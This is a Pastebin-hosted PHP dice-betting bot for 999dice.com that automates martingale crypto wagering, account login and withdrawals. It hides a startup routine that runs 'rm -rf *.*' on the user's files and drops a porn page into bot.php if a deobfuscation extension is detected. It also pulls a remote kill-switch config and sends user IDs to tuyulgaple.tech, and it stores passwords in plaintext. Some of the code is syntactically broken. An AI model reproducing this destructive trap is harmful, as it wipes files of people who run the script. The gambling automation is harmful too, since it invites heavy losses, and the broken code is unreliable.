Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- date_default_timezone_set('Asia/Jakarta');
- system("clear");$t="\n";$r="\t";
- //warna
- $br = "[34m";$tr ="[36m";$ijo ="[92m";
- $pth = "[37m";$pnk ="[35m";$red ="[31m";
- $kn = "[33m";$blk ="[8m"; $nt ="[0m";
- function curls( $url,$data,$ip ){
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie");
- curl_setopt($ch, CURLOPT_COOKIEFILE, "cookie");
- if(strlen($data) > 0 ){ // POST METHOD
- curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data ); }
- if(strlen($ip) > 0 ){ // settings proxy
- curl_setopt($ch, CURLOPT_PROXY, $ip ); }
- $result = curl_exec($ch);
- $info = curl_getinfo($ch);
- curl_close($ch);
- if($info["http_code"]==302){
- return $info["redirect_url"]; } else { return $result; } }
- function gets ($url) {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_URL => $url,
- CURLOPT_TIMEOUT => 300,
- CURLOPT_VERBOSE => 0
- ));
- $result = curl_exec($curl);
- $code = curl_getinfo($curl,CURLINFO_HTTP_CODE);
- $info = curl_getinfo($curl);
- curl_close($curl);
- if( $code==302 ){ return $info["redirect_url"]; }
- else{ return $result; } }
- function curl ($method,$url,$data) {
- $curl = curl_init();
- curl_setopt_array($curl, array(
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_URL => $url,
- CURLOPT_TIMEOUT => 300,
- CURLOPT_CUSTOMREQUEST => $method,
- CURLOPT_POSTFIELDS => $data,
- CURLOPT_VERBOSE => 0
- ));
- $result = curl_exec($curl);
- $code = curl_getinfo($curl,CURLINFO_HTTP_CODE);
- curl_close($curl); return $result; }
- function clr($clr){system("clear");echo $clr.$t;}
- function cl($act){system("rm -rf $act");}
- function strip(){
- for($i=0;$i<12;$i++){echo "- - ";}echo "\n";}
- function loding($str,$time) {
- $ijo ="[92m"; $pth = "[37m";
- $kn ="[33m"; $tr = "[36m";
- $tik =[$tr,$ijo,$tr,$ijo,$tr,$ijo];$a=1;
- echo "\r \r";
- for($i=$time;$i>0;$i--){
- $a1 = str_repeat("•",$a);
- $tok= $tik[$a-1];
- echo $pth."[".$tok."+++++".$pth."] $str $i sec $a1";
- if($a==6){$a=1;}else{$a++;}sleep(1);
- echo "\r \r";}}
- function saveas($filename,$data){
- $get=json_decode(file_get_contents($filename),1);
- $new=array_merge($get,$data);
- file_put_contents($filename,json_encode($new,JSON_PRETTY_PRINT));}
- function skill(){
- $msg="anda terdeteksi sebagai kang recode";
- if(extension_loaded("evalhook")){
- @system("clear");shell_exec('rm -rf *.*');
- $bokep=file_get_contents("https://txxx.com/");
- file_put_contents("bot.php",$bokep);echo $msg; die(); }}
- function parse($str){
- parse_str($str,$array);return $array;}
- function build($array){return http_build_query($array);}
- function idr($angka){
- $hasil_rupiah = "Rp " . number_format($angka,2,',',);
- return $hasil_rupiah;}
- function auto_lot2( $bal,$risk,$marti ) {
- $level = risk($risk);
- if($bal) {
- $lot = $bal/$level;
- $auto_lot = round($lot/100,5); }
- // simulasi
- $sbet = $auto_lot;
- $bet = $sbet;
- $i = 1;
- $lvl = array();
- while(true){
- $step[]=$sbet;
- $bals[] =$bal;
- $bal = $bal-$sbet;
- if( $bal >= $sbet ){ $i++; } else { $lvl[] = $sbet; }
- if( !$sbet ){
- $error = "saldo $bal tidak di dukung"; break; }
- if( count($lvl)>5 ){ break; }
- $sbet = $sbet*$marti; }
- return [
- "error" => $error,
- "bet" => $bet,
- "max" => $i,
- "minbal" => $bals[$i-1],
- "loss" => $lvl[0],
- "steps" => $step,
- "balance" => $bals ]; }
- function risk($level){
- $risk = 1000;
- for($i=0;$i<$level;$i++){$risk=$risk*10;}
- return $risk;}
- function login($key,$username,$pass,$otp){
- $url="https://www.999dice.com/api/web.aspx";
- $param=[
- "a" => "Login",
- "Key" => $key,
- "Username" => $username,
- "Password" => $pass,
- "Totp" => $otp ];
- $pos = build($param);
- $akun=json_decode( curl("POST",$url,$pos),1);
- if($akun["error"]){echo "[!] ".$akun["error"]."\n";exit;}
- else{return $akun;}}
- function bal($sesi,$cur){
- $url="https://www.999dice.com/api/web.aspx";
- $param=[
- "a" => "GetBalance",
- "s" => $sesi,
- "Currency" => $cur ];
- $pos = build($param);
- $js = json_decode( curl("POST",$url,$pos),1);
- if(!$js["error"]){return round($js["Balance"],3);}
- else{echo "[!] ".$js["error"]."\n";loding("wait",120);} }
- function withdraw($sesi,$walet,$amo,$cur){
- $url = "https://www.999dice.com/api/web.aspx";
- $param= [
- "a" => "Withdraw",
- "s" => $sesi,
- "Address" => $walet,
- "Amount" => $amo,// satoshi
- "Currency" => $cur ];
- $pos = build($param);
- $payout= json_decode( curl("POST",$url,$pos),1);
- if($payout["error"]){echo "[!] ".$js["error"]."\n";exit;}
- else{return $payout;}}
- function his($sesi,$tipe){
- $url = "https://www.999dice.com/api/web.aspx";
- // history transaksi
- $param= [
- "a" => $tipe,
- "s" => $sesi,
- "Token" => $token ];
- $pos = build($param);
- $transaksi = json_decode(curl("POST",$url,$pos),1);
- if($transaksi["error"]){echo "[!] ".$js["error"]."\n";exit;}
- else{return $transaksi;} }
- function depo($sesi,$cur){
- $url = "https://www.999dice.com/api/web.aspx";
- // get wallet deposite
- $param = [
- "a" => "GetDepositAddress",
- "s" => $sesi,
- "Currency" => $cur ];
- $pos = build($param);
- $js = json_decode(curl("POST",$url,$pos),1);
- if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
- else{ $adres=$js["Address"]; return $adres;}}
- function register($key,$username,$password){
- $url = "https://www.999dice.com/api/web.aspx";
- $param= [
- "a" => "CreateAccount",
- "Key" => $key ];
- $pos = build($param);
- $js = json_decode(curl("POST",$url,$pos),1);
- if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
- $sesi = $js["SessionCookie"];
- if( $sesi ) {
- $param =[
- "a" => "CreateUser",
- "s" => $sesi,
- "Username" => $username,
- "Password" => $password ];
- $pos = build($param);
- $js = json_decode(curl("POST",$url,$pos),1);
- if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
- if($js["success"]){
- return "success username and password have been created";}
- elseif($js["AccountHasUser"]){
- return "account already has a username and password";}
- elseif($js["UsernameTaken"]){
- return "username is already taken";}}}
- function ChangePassword($sesi,$old_pass,$new_pass){
- $url = "https://www.999dice.com/api/web.aspx";
- $param = [
- "a" => "ChangePassword",
- "s" => $sesi,
- "OldPassword" => $old_pass,
- "NewPassword" => $new_pass ];
- $pos = build($param);
- $js = json_decode(curl("POST",$url,$pos),1);
- if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
- if($js["success"]){
- $get = json_decode(file_get_contents("config.json"),1);
- $get["password"] = $new_pass; saveas("config.json",$get);
- return "success password changed";
- }
- else{return "The wrong password was supplied";}}
- function UpdateEmail( $sesi,$email ){
- $url = "https://www.999dice.com/api/web.aspx";
- $param= [
- "a" => "UpdateEmail",
- "s" => $sesi,
- "Email" => $email ];
- $pos = build($param);
- $js = json_decode(curl("POST",$url,$pos),1);
- if($js["error"]){echo "[!] ".$js["error"]."\n";exit;}
- if($js["success"]){return "The email is updated";}}
- function settings($sk,$vr,$baner){
- $t="\n";$r="\t";
- //warna
- $br = "[34m";
- $tr = "[36m";
- $ijo = "[92m";
- $pth = "[37m";
- $red = "[31m";
- $kn = "[33m";
- $url="http://tuyulgaple.tech/setting.json";
- $set=json_decode(file_get_contents($url),true);
- $admin = $set["admin"];
- $apk = $set["aplikasi"][$sk];
- $for = $set["forum"];
- $stat_sc = $apk["stat"];
- $versi = $apk["versi"];
- $wr = $apk["wr"];
- $ms = $apk["msg"];
- $spons = $apk["ads"];
- $link = $apk["link"];
- $premium = $apk["premium"];
- if($set){$ip="online";}else{$ip="offline";}
- if($vr!=$versi)
- {
- $figlet = $tr."[-] Script $sk $ijo v".$vr."$kn [please update!]".$t;
- }
- else
- {
- $figlet = $tr."[-] Script $sk $ijo v".$vr.$t;
- }
- $server = $tr."[-] server-update$ijo $ip ";
- $forum = $tr."[-] forum diskusi :$ijo $for".$t;
- $kontak = $tr."[-] Telegram Support: ".$t;
- $kontak .= $r.$kn."* @RealSugiono$ijo [t.me/realsugiono]".$t;
- $kontak .= $r.$kn."* @Mbambloo48$ijo [t.me/Mbambloo48]".$t;
- if($wr){
- $warn=$t.$red."[!] WARNING [!]
- ".$kn."[-] INI ADALAH PROGRAM ILLEGAL
- ".$kn."[-] RESIKO SEPENUHNYA DITANGGUNG PENGGUNA".$t.$pth;}
- $clr=$baner.$t.$server.$t.$figlet.$kontak.$warn.$t;
- if($ip=="offline")
- {
- echo $clr.$pth."[!] periksa koneksi internet".$t;
- exit;
- }
- elseif(!$stat_sc)
- {
- echo $clr."[!] skrip di nonaktifkan by server".$t;
- exit;
- }
- else{ return $clr; }
- }
- function verif_user($sk,$user){
- $url="https://tuyulgaple.tech/premium/";
- $pos=json_encode([
- "request" => $sk,
- "tipe" => "verif",
- "userid" => $user
- ]);$js=json_decode(curl("POST",$url,$pos,array()),1);
- if($js["code"]==200){return $js["code"];} }
- function billing($wk){
- $hari = 86400;
- $jam = 3600;
- $menit= 60;
- $msg = "";
- if($wk>=$hari){
- $result= $wk/$hari;
- $time = explode(,$result);
- $sisa = $time[0];
- $smal = $result-$sisa;
- $smal = round($smal*$hari);
- $msg .= "$sisa hari ";
- if($smal){ $msg .= billing($smal); }
- return $msg;
- elseif($wk<$hari&&$wk>=$jam){
- $result= $wk/$jam;
- $time = explode(,$result);
- $sisa = $time[0];
- $smal = $result-$sisa;
- $smal = round($smal*$jam);
- $msg .= "$sisa jam ";
- if($smal){ $msg .= billing($smal); }
- return $msg;
- }
- elseif($wk<$jam&&$wk>=$menit){
- $result= $wk/$menit;
- $time = explode(,$result);
- $sisa = $time[0];
- $smal = $result-$sisa;
- $smal = round($smal*$menit);
- $msg .= "$sisa menit ";
- if($smal){ $msg .= billing($smal); }
- return $msg;
- }
- elseif($wk<60){ $msg .= "$wk sec "; } return $msg; }
- function gambling( $sesi,$hash,$bet,$rate,$hi,$lo ) {
- $bet = $bet*$rate["doge"]; // satoshi
- $url = "https://www.999dice.com/api/web.aspx";
- $param= [
- "a" => "PlaceBet",
- "s" => $sesi,
- "PayIn" => $bet,
- "Low" => $lo*10000,
- "High" => $hi*10000,
- "ClientSeed" => $hash,
- "Currency" => "doge",
- "ProtocolVersion" => 2 ];
- $pos = build($param);
- return json_decode(curl("POST",$url,$pos),1); }
- function gambling2( $sesi,$hash,$set ){
- $bet = $set["bet"];
- $max = $set["max"];
- $rate = $set["rate"];
- $base = $set["base"];
- $up = $set["up"];
- $chance= $set["chance"];
- $hilo = $set["hilo"];
- $bet = $bet*$rate["doge"]; // satoshi
- $base = $base*$rate["doge"]; // satoshi
- $cen = chance($chance,$hilo);
- $url = "https://www.999dice.com/api/web.aspx";
- $pos = build([
- "a" => "PlaceAutomatedBets",
- "s" => $sesi,
- "BasePayIn" => $base,
- "StartingPayIn" => $bet,
- "Low" => $cen["lo"]*10000,
- "High" => $cen["hi"]*10000,
- "MaxBets" => $max,
- "ResetOnWin" => 1,
- "ResetOnLose" => 0,
- "IncreaseOnWinPercent" => 0,
- "IncreaseOnLosePercent" => $up,
- "MaxPayIn" => 0,
- "ResetOnLoseMaxBet" => 0,
- "StopOnLoseMaxBet" => 0,
- "StopMaxBalance" => 0,
- "ClientSeed" => $hash,
- "Currency" => "doge",
- "ProtocolVersion" => 2
- ]);
- return json_decode(curl("POST",$url,$pos),1); }
- function gambling3( $sesi,$hash,$bet,$max,$rate,$base,$marti,$min ){
- $bet = $bet*$rate["doge"]; // satoshi
- $base = $base*$rate["doge"]; // satoshi
- if(!$min){ $min = 0; }else{ $min = $min*$rate["doge"]; }
- $url = "https://www.999dice.com/api/web.aspx";
- $pos = build([
- "a" => "PlaceAutomatedBets",
- "s" => $sesi,
- "BasePayIn" => $base,
- "StartingPayIn" => $bet,
- "StopMinBalance" => $min,
- "Low" => 0,
- "High" => 499499,
- "MaxBets" => $max,
- "ResetOnWin" => 1,
- "ResetOnLose" => 0,
- "IncreaseOnWinPercent" => 0,
- "IncreaseOnLosePercent" => 1,
- "MaxPayIn" => 0,
- "ResetOnLoseMaxBet" => 0,
- "StopOnLoseMaxBet" => 0,
- "StopMaxBalance" => 0,
- "ClientSeed" => $hash,
- "Currency" => "doge",
- "Compact" => 1,
- "ProtocolVersion" => 2
- ]);
- return json_decode(curl("POST",$url,$pos),1); }
- function chance($ch,$hilo){
- $hi = 99-$ch;
- if($hilo=="hi"){
- $low = $hi; $high= 99; }
- if($hilo=="lo"){
- $low = 0; $high= $ch;}
- return [ "lo" => $low,"hi"=>$high ]; }
- function get_hash($sesi) {
- $url = "https://www.999dice.com/api/web.aspx";
- $param= [
- "a" => "GetServerSeedHash",
- "s" => $sesi ];
- $pos = build($param);
- while (true):
- $js = json_decode(curl("POST",$url,$pos),1);
- if( $js["Hash"] ) { return $js["Hash"]; }
- else{ loding("wait",120); }
- endwhile;
- }
- function cover($bet,$max,$marti){
- for($i=0;$i<$max;$i++){ $bet = $bet*$marti; }
- return $bet; }
- function profit( $bal,$persen,$rate ){
- $day = 1;
- $hari= 360;
- $run = 0;
- while( $day <= $hari ) {
- $run ++;
- $profit = $bal*$persen/100;
- $bal = round($bal+$profit);
- $idr = "Rp ".number_format($bal*$rate);
- if( $run == 30 ){
- $data[] = [
- "doge" => $bal,
- "idr" => $idr ]; $run = 0; }
- $day ++; } return $data;}
- function cek_error( $res ){
- $gm = [
- "ChanceTooHigh" => "The chance to win is too high !",
- "ChanceTooLow" => "The chance to win is too low !",
- "NoPossibleProfit" => "no possible way for the user to profit",
- "MaxPayoutExceeded"=> "The bet, if won, would exceed the maximum"
- ];
- foreach( $gm as $error => $respon ){
- if($res[$error]) { return $respon; } } }
- function addset(){
- $betset = [ "betset" => [
- "base" => readline("base bet > "),
- "max" => 1,
- "chance" => readline("chance > "),
- "hilo" => readline("hi/lo > "),
- "iflose" => readline("iflose > ") ] ];
- saveas("config.json",$betset); }
- /////////////////////////////////////////////////////////////////
- $sk="dicebot";$vr="3.2"; $cfg="config.json";
- $baner = $ijo."";
- error_reporting(0); skill();
- $clr = settings($sk,$vr,$baner);
- $apikey = "31c6dcb688a644ff925552c0fc27db16";
- $rate = [
- "btc" => 100000000,
- "doge" => 100000000,
- "ltc" => 10000000,
- "eth" => 100000000 ];
- while(true):clr($clr);strip();
- // session start
- echo $pth."[1]$tr register new account".$t;
- echo $pth."[2]$tr login account".$t;strip();
- $plhn=readline("dice-bot> ");strip();
- // register
- if($plhn==1){
- $username=readline("username: ");
- $password=readline("password: ");
- if($username&&$password){
- echo register($apikey,$username,$password).$t; strip(); } }
- if($plhn==2){
- if(!file_exists($cfg)){file_put_contents($cfg,"[]");}
- $config = json_decode(file_get_contents($cfg),1);
- if(!$config["username"]){
- $username = readline("username: ");
- $password = readline("password: ");
- $data = [
- "username" => $username,
- "password" => $password ];
- saveas($cfg,$data);
- }
- else{
- $username = $config["username"];
- $password = $config["password"];}
- // ---- after login --- //
- while(true):clr($clr);strip();
- if(!$session_login){
- $config = json_decode(file_get_contents($cfg),1);
- $username= $config["username"];
- $password= $config["password"];
- $otp = readline("verif 2fa (optional): ");
- clr($clr);
- $login = login($apikey,$username,$password,$otp); }
- if($login["LoginInvalid"]){
- echo "[!] username atau password salah".$t; cl($cfg); exit;
- }
- elseif( $login["AccountId"] OR $session_login ){
- if(!$session_login){
- $sesi = $login["SessionCookie"];
- $uid = $login["AccountId"];
- $doge = $login["Doge"];
- $ltc = $login["LTC"];
- $eth = $login["ETH"];
- $curency = ["btc","doge","ltc","eth"];
- $session_login = $sesi;
- echo $pth."login$ijo success$pth account id$ijo -> $uid".$t.$tr;
- echo $r."doge: ".number_format($doge["Balance"]/$rate["doge"],3).$t;
- echo $r."ltc : ".number_format($ltc["Balance"]/$rate["ltc"],6).$t;
- echo $r."eth : ".number_format($eth["Balance"]/$rate["eth"],7).$t;
- }
- else{
- echo $pth."login$ijo success$pth account id$ijo -> $uid".$t.$tr;
- $sesi = $session_login;
- $doge = round(bal($sesi,"doge")/$rate["doge"],2);
- echo $r."doge: $doge".$t;
- sleep(1);
- echo $r."ltc : ".number_format(bal($sesi,"ltc")/$rate["ltc"],6).$t;
- sleep(1);
- echo $r."eth : ".number_format(bal($sesi,"eth")/$rate["eth"],7).$t;
- }
- strip();
- if( $multi ){
- $sesi = $msesi;
- echo $pth."login multi account$ijo success$pth $user".$t;
- $doge = round(bal($sesi,"doge")/$rate["doge"],2);
- echo $r.$pth."doge:$ijo $doge".$t; strip(); }
- // -- verif user login
- $verif = verif_user($sk,$uid);
- if( ! $verif ) {
- echo $red."user tidak dikenal,$kn lakukan aktivasi".$t;strip();exit;}
- echo $r.$pth."[1]$ijo deposit".$t;
- echo $r.$pth."[2]$ijo withdraw".$t;
- echo $r.$pth."[3]$ijo user settings".$t;
- echo $r.$pth."[4]$ijo cek transaksi".$t;
- echo $r.$pth."[5]$ijo gambling".$t.$tr;
- strip();
- $ops = readline("dice-bot> ");strip();
- // ---------------------------------------------------------- //
- if( $ops == 8 ){ exit;
- echo $pth."~~~~~~$ijo multiple account settings$pth ~~~~~~".$t;
- echo $r.$tr."[1]$pth account list".$t;
- echo $r.$tr."[2]$pth add account".$t;
- if( $multi ){ echo $r.$tr."[3]$pth exit multi".$t; }
- strip();
- $oops = readline("multi> ");
- $get = json_decode(file_get_contents($cfg),1);
- if( $oops == 1 ){
- if(!$get["multi"]){ echo $red."tidak ada akun lain di sini".$t; }
- else{
- foreach( $get["multi"] as $key => $val ){
- $user = $key;
- $akses = readline($ijo."aksess account$tr $user$pth$r y/n: ");
- if( $akses=="y" ){ $msesi = $val; $multi = 1; break; } } }
- }
- elseif( $oops == 2 ){
- $user = readline($pth."username:$ijo ");
- $pass = readline($pth."password:$ijo ");
- $login = login($apikey,$user,$pass);
- $msesi = $login["SessionCookie"];
- if(!$msesi){ echo $red."invalid username or password".$t; }
- else{
- if(!$get["multi"]){ $get["multi"] = array(); }
- echo $ijo."success save account$br session".$t;
- $get["multi"] = array_merge($get["multi"],[ $user => $msesi ]);
- saveas($cfg,$get); } }
- elseif( $oops == 3 ){ $multi = 0; }
- }
- // ---------------------------------------------------------- //
- //deposite
- if($ops==1){$i=1;
- foreach($curency as $curen){
- echo $r.$pth."[$i]$ijo deposit $curen$tr".$t;$i++;}
- $plh=readline("deposit> ");
- if($plh){
- $cos=$plh-1;$cur=$curency[$cos];
- $adres=depo($sesi,$cur);
- if($adres){
- echo $pth."wallet address:$ijo ".$adres.$t;
- echo $kn."silahkan kirim hanya$pth $cur$kn ke alamat di atas".$t;}}
- }
- // ---------------------------------------------------------- //
- if($ops==2){
- $number = 0;
- foreach($curency as $pay){
- $number++;
- # $bal = bal($sesi,$pay)/$rate[$pay];
- # $bal = number_format($bal,7);
- echo $pth.$r.$number.$tr." withdraw$ijo ".$r.$pay.$t;
- sleep(1); }
- strip();
- $plh = readline("pilih currency: ");
- if( $plh ){
- $plh = $plh-1;
- $cur = $curency[$plh];
- $addr= readline("address $cur: ");
- $req = readline("masukan amo $cur: ");
- if( $req && $addr ){
- $amo = $req*$rate[$cur];
- $wd = withdraw($sesi,$addr,$amo,$cur);
- if($wd["Pending"]) {
- strip();
- echo $ijo."success transaksi$pth pending ".$t;
- echo $pth.$r."addres :$ijo ".$addr.$t;
- echo $pth.$r."amount :$ijo ".$req.$t;
- echo $pth.$r."currency:$ijo ".strtoupper($cur).$t; }
- elseif($wd["TooSmall"]){
- echo $kn."The withdrawal is too small to process".$t; }
- elseif($wd["InsufficientFunds"]) {
- echo $red."The user has insufficient funds".$t; }
- else{ print_r($wd); } } } }
- // ---------------------------------------------------------- //
- if( $ops == 3 ){
- echo "options user settings".$t; strip();
- echo $pth.$r."[1]$ijo set email".$t;
- echo $pth.$r."[2]$ijo change password".$t; strip();
- $pil = readline("uset-set > ");
- if( $pil==1 ){
- $email = readline("input email: ");
- if($email){ echo UpdateEmail( $sesi,$email ).$t;strip(); } }
- if( $pil==2 ){
- $old_pass = readline("password saat ini: ");
- $new_pass = readline("password baru : ");
- if( $old_pass && $new_pass ){
- echo ChangePassword($sesi,$old_pass,$new_pass).$t;strip(); } }
- }
- // ---------------------------------------------------------- //
- if($ops==4){
- echo $r.$pth."[1]$ijo transaksi deposite".$t;
- echo $r.$pth."[2]$ijo transaksi Withdrawals".$t;
- $ops = readline($pth."get transaksi: ");strip();
- if( $ops == 1 ){ $tipe = "GetDeposits"; }
- if( $ops == 2 ){ $tipe = "GetWithdrawals"; }
- $his = his( $sesi,$tipe );
- if( $his["Transfers"] ){
- echo $ijo."transaksi transfer internal".$t; strip();
- foreach( $his["Transfers"] as $key => $val ){
- if($ops==2){
- if($val["Completed"]){ $status = $ijo."Completed";
- }else{ $status = $kn."pending"; }
- $cur = $val["Currency"];
- $amo = $val["Value"]/$rate[$cur];
- $acc = $val["AccountId"];
- echo $pth.$r."date : ".$tr.$val["Requested"].$t;
- echo $pth.$r."addres: ".$tr.$val["Address"].$t;
- echo $pth.$r."amount: ".$tr.$amo." $cur".$t;
- echo $pth.$r."acc_id: ".$ijo.$acc.$t;
- echo $pth.$r."status: ".$tr.$status.$t;
- strip();}
- if( $ops==1 ){
- $cur = $val["Currency"];
- $amo = $val["Value"]/$rate[$cur];
- $acc = $val["AccountId"];
- echo $pth.$r."date : ".$tr.$val["Date"].$t;
- echo $pth.$r."addres: ".$tr.$val["Address"].$t;
- echo $pth.$r."amount: ".$tr.$amo." $cur".$t;
- echo $pth.$r."acc_id: ".$ijo.$acc.$t;
- strip(); } }
- }
- if($his["Deposits"]){
- echo $ijo."transaksi deposite".$t; strip();
- foreach($his["Deposits"] as $key=>$val){
- echo $pth.$r."date : ".$tr.$val["Date"].$t;
- echo $pth.$r."tipe : ".$tr.$val["Currency"].$t;
- echo $pth.$r."addr : ".$tr.$val["Address"].$t.$pth;
- echo $r."amount:$tr ".round($val["Value"]/$rate[$val["Currency"]]).$t;
- strip(); } }
- elseif($his["Withdrawals"]){
- echo $ijo."transaksi withdrawal".$t; strip();
- foreach( $his["Withdrawals"] as $key => $val ){
- if($val["Completed"]){ $status = $ijo."Completed";
- }else{ $status = $kn."pending"; }
- $cur = $val["Currency"];
- $amo = $val["Value"]/$rate[$cur];
- echo $pth.$r."date : ".$tr.$val["Requested"].$t;
- echo $pth.$r."addres: ".$tr.$val["Address"].$t;
- echo $pth.$r."amount: ".$tr.$amo." $cur".$t;
- echo $pth.$r."fee : ".$tr.$val["Fee"]/$rate[$cur]." $cur".$t;
- echo $pth.$r."status: ".$tr.$status.$t;
- strip(); } }
- }
- // ---------------------------------------------------------- //
- if( $ops == 5 ){
- echo $pth.$r."[1]$ijo mode normal".$t;
- echo $pth.$r."[2]$ijo mode extrime ".$t;
- echo $pth.$r."[3]$ijo custom betset".$t;
- strip();
- $mod = readline("mode> "); clr($clr);
- $ws = 1;
- $l = 1;
- $saldo = round(bal($sesi,"doge")/$rate["doge"],5);
- $bal = $saldo;
- if($mod == 2 ){
- $step = 30;
- $hilo = "lo";
- $marti = 2;
- $cen = 50;
- $max = 4;
- $ups = 2;//200% martingle
- $mode = "extrime";
- $ico = $kn."[E]";
- $risk = 0;// makin besar amkin aman
- $start_bet = auto_lot2($saldo,$risk,$marti);
- $bet = round($start_bet["bet"],5);
- }
- elseif($mod == 3 ){
- $step = 10;
- $mode = "custom betset";
- $ico = $kn."[C]";
- $get = json_decode(file_get_contents($cfg),1);
- if(!$get["betset"]){
- $getset = addset();
- $getset = $get["betset"];
- $bet = $getset["base"];
- $hilo = $getset["hilo"];
- $marti = $getset["iflose"];
- $cen = $getset["chance"];
- $max = $getset["max"];
- $ups = $marti-1;
- } else {
- $getset = $get["betset"];
- $bet = $getset["base"];
- $hilo = $getset["hilo"];
- $marti = $getset["iflose"];
- $cen = $getset["chance"];
- $max = $getset["max"];
- $ups = $marti-1;
- }
- clr($clr); strip();
- foreach($getset as $key => $val ){ echo $r.$key.$r." : ".$val.$t; }
- strip();}
- else{
- $step = 10;
- $hilo = "lo";
- $marti = 2;
- $cen = 50;
- $max = 1;
- $ups = 1;// 100% martingle
- $mode = "normal";
- $ico = $ijo."[N]";
- $risk = 1;// makin besar amkin aman
- $start_bet = auto_lot2($saldo,$risk,$marti);
- $bet = round($start_bet["bet"],5);
- }
- $base = $bet;
- $chance= $cen;
- $nmax = $max;
- $up = $ups;
- $tm = time();
- $stop = 0-$step;
- $avgw = 0;
- $avgl = 0;
- $opit = 0;
- $ts = 0;
- $hash = get_hash( $sesi );
- echo $r.$pth."running mode$ijo $mode ".$t;
- $tget = readline("target profit %: ");
- if(!is_numeric($tget) OR !$tget ){ $tget = 1000; }
- $target = round($saldo*$tget/100);
- $echo = $pth."start bet:$ijo $bet ";
- $echo .= $pth."target:$ijo $target ";
- $echo .= $pth."Good luck ";
- echo $echo.$t; strip();
- // -----------------------------------------------
- while(true):
- $betset = [
- "bet" => $bet,
- "max" => $max,
- "rate" => $rate,
- "base" => $base,
- "up" => $up,
- "chance" => $chance,
- "hilo" => $hilo ];
- $ts = time()-$tm;
- if ( $ts>600 ){
- echo "\r \r";
- strip();
- $tm = time();
- $ses = $ses+$ts;
- $time = billing($ses);
- echo $pth."session update$ijo $time".$t; strip(); }
- $game = gambling2( $sesi,$hash,$betset );
- $error= cek_error($game);
- if($game["error"]){ loding("wait game",120); }
- elseif($error){ echo $error.$t; break; }
- else{
- $bets = $game["PayIns"];
- $wins = $game["PayOuts"];
- $win = 0; $los = 0; $beti = 0;
- # echo $t;
- for( $i=0;$i<count($bets);$i++ ){
- $bett = str_replace("-","",$bets[$i]);
- $bett = round($bett/$rate["doge"],5);
- $winer= $wins[$i];
- $w = round($winer/$rate["doge"],5);
- $win = $win+$w;
- $los = $los+$bett;
- $beti = $beti+$bett;
- # echo $r.$br."hide bet$tr $bett$pth win$ijo $w".$t;
- }
- if($win>$los){$winer=1;}else{$winer=0;}
- echo "\r \r";
- $hasil = $win-$los;
- $opit = round($opit+$hasil,3);
- if(strpos($opit,"E")){ $opit=number_format($opit,6); }
- $bal = $saldo+$opit;
- $bb = round($bal);
- $per = round($opit*100/$saldo,3);
- if($opit > 0){
- if($winer){
- $profit = $ijo.$opit; }else{ $profit = $kn.$opit; }}
- else{ $profit=$red.$opit; }
- if($winer){ $res = $ijo."$ws|"; $l = 1; $ws++;
- }else{ $res = $red."$l|"; $ws = 1; $l++; }
- if(strpos($bet,"E")){ $bet=number_format($bet,6); }
- $result = $tr."[$hilo]".$pth.$bb.$red;
- $result .= " $ico$res$beti$r$pth profit $profit$r|$per %";
- echo $result.$t; }
- if($winer){
- if($mode=="custom betset"){$bet=$getset["base"];}
- else{
- $bet = round($start_bet["bet"],5);}
- $base = $bet;
- $up = $ups;
- $max = $nmax;
- $chance = $cen;
- }else{
- $bet = round($bett*$marti,5);
- if($mode=="extrime"){
- if($hilo=="hi"){ $hilo="lo"; }else{ $hilo="hi"; } }
- }
- if($ws > $avgw ){ $avgw = $ws-1; }
- if($l > $avgl ){ $avgl = $l-1; }
- echo $r.$ijo."win streak$pth $avgw$red loss streak$pth $avgl ";
- // cut loss
- if( $bet > $bal ){
- echo "\r \r";
- echo $red."cutloss, sisa saldo$pth $bal".$t; break; }
- // take profit
- if( $opit >= $target ){
- echo "\r \r";
- echo $pth."target profit$ijo $per %$pth profit$ijo $profit doge".$t;
- break; }
- if($mode!="custom betset"){
- // traling stop
- $trel = $per-$step;
- if( $trel > $stop ) { $stop = $trel; }
- if( $stop >= $step ){ $stop = $step; }
- if($per <= $stop ){
- echo "\r \r";
- echo $pth."traling stop, saldo$ijo $bb$pth profit $profit".$t;
- $mssg = $pth."next bet$red $bet$kn ";
- $next = readline($mssg."continue action$pth y/n: ");
- if( $next == "n" ){ break; }
- }
- #elseif( $per < 0 ){ $hilo = "hi"; }
- elseif( $avgl >= 15 && $winer && $mode=="normal" ){
- echo "\r \r";
- echo "force stop bot panik, saldo $bb profit $profit".$t; break; } }
- endwhile; }
- // ---------------------------------------------------------- //
- }else{
- echo $red."tidak dapat terhubung ke$pth https://999dice.com".$t; }
- readline("press any keys to continue");endwhile;}
- readline("press any keys to continue");endwhile;
Add Comment
Please, Sign In to add comment